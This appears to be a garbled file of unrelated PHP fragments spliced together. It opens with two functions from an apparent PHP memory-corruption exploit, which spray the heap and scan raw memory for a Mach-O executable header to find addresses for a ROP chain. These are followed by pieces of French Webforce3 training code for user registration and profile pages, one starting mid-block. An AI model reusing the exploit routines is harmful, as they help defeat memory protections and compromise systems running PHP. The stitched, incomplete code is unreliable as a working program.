function rop_findexec() { $x = []; $p = ptr() + 0; for ($i = 0; $i < 0x2000; $i++) { array_push($x, [0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141]); } $a = map($p, 0x10000)[0]; nogc($a); $a = bin2hex($a); nogc($a); $r = strpos($a, "3100000000000000100000000f0000000c000000010000000c00000000000000"); if ($r !== FALSE) { $a = substr($a, $r + 0x80, 0x10); $a = hexdec(swapEndianness($a)); $a = $a + 0; for ($i = 0; $i < 0x100000; $i++) { $k = map(($a & ~0xff) - 0x100 * $i, 0x8); if ("cffaedfe07000001" == bin2hex($k[0])) { return ($a & ~0xff) - 0x100 * $i + 0; } } } return FALSE; }
function mapheap() { global $c; global $pt; global $n; $z = ptr() + 0; $k = map($z, 0x10000); $ptx = strpos($k[0], "AXBX"); $k[0][$ptx] = 'O'; for ($zz = 0; $zz < 0x400; $zz++) { if ($n[$zz][0] == "O") { nogc([&$n[$zz]]); } } $pt = $ptx + $z; $c = 0; }
} else { // $containsLetter = preg_match('/[a-zA-Z]/', $pwd); $containsDigit = preg_match('/[\\d]/', $pwd); $containsSpecial = preg_match('/[^a-zA-Z\\d]/', $pwd); if (!$containsLetter || !$containsDigit || !$containsSpecial) { $error = "Votre mot de passe doit contenir au moins une lettre, un chiffre et un caractère spécial"; } } } //Si pas d'erreur [variable $error vierge] //insert dans la table users if (empty($error)) { $sql = "INSERT INTO users (id, email, username, password, date_created, date_modified)\n\t\t\tVALUES(NULL, :email, :username, :password, NOW(), NOW())"; $sth = $dbh->prepare($sql); $sth->bindValue(":email", $email); $sth->bindValue(":username", $username); $hashedPassword = password_hash($pwd, PASSWORD_DEFAULT); $sth->bindValue(":password", $hashedPassword); $sth->execute(); //connecter l'utilisateur programatiquement $sql = "SELECT id, email, username, date_created, date_modified, profile_user, photo\n FROM users\n WHERE id = :id"; $sth = $dbh->prepare($sql); $sth->bindValue(":id", $dbh->lastInsertId()); $sth->execute(); $user = $sth->fetch(); $_SESSION['userisConnected'] = $user; } } ptr($error);
<?php session_start(); /*Préparation et connexion à la base de donnees*/ include "config.php"; require_once "db.php"; include "vendor/autoload.php"; include "functions.php"; include "auth.php"; ptr($_POST); $siteTitle = "Authentification"; $titleCopy = "Webforce3"; //$currentYear = date("Y"); $currentYear = date("Y-m-d H:i:s", time()); $maDevise = "Quand tout a échoué lisez la Notice"; ?> <!doctype html> <html lang="FR-fr"> <?php include "header.php"; ?> <body> <h1><?php echo $siteTitle; ?> </h1> <!--Conteneur--> <div class="container"> <h2>Inscription</h2> <p> <form method="POST" action="register.php" name="register" id="register" class="form-horizontal">
<?php session_start(); /*Préparation et connexion à la base de donnees*/ include "config.php"; require_once "db.php"; include "functions.php"; lock(); $username = $_SESSION['userisConnected']['email']; ptr($_SESSION); $siteTitle = "Votre profil"; $titleCopy = "Webforce3"; //$currentYear = date("Y"); $currentYear = date("Y-m-d H:i:s", time()); $maDevise = "Quand tout a échoué lisez la Notice"; ?> <!doctype html> <html lang="FR-fr"> <?php include "header.php"; ?> <body> <h1><?php echo $siteTitle; ?> </h1> <!--Conteneur--> <div class="container"> <h2>Votre Profil</h2> <h3><a href="logout.php" title="Me déconnecter de mon compte">Déconnexion</a></h3> <p>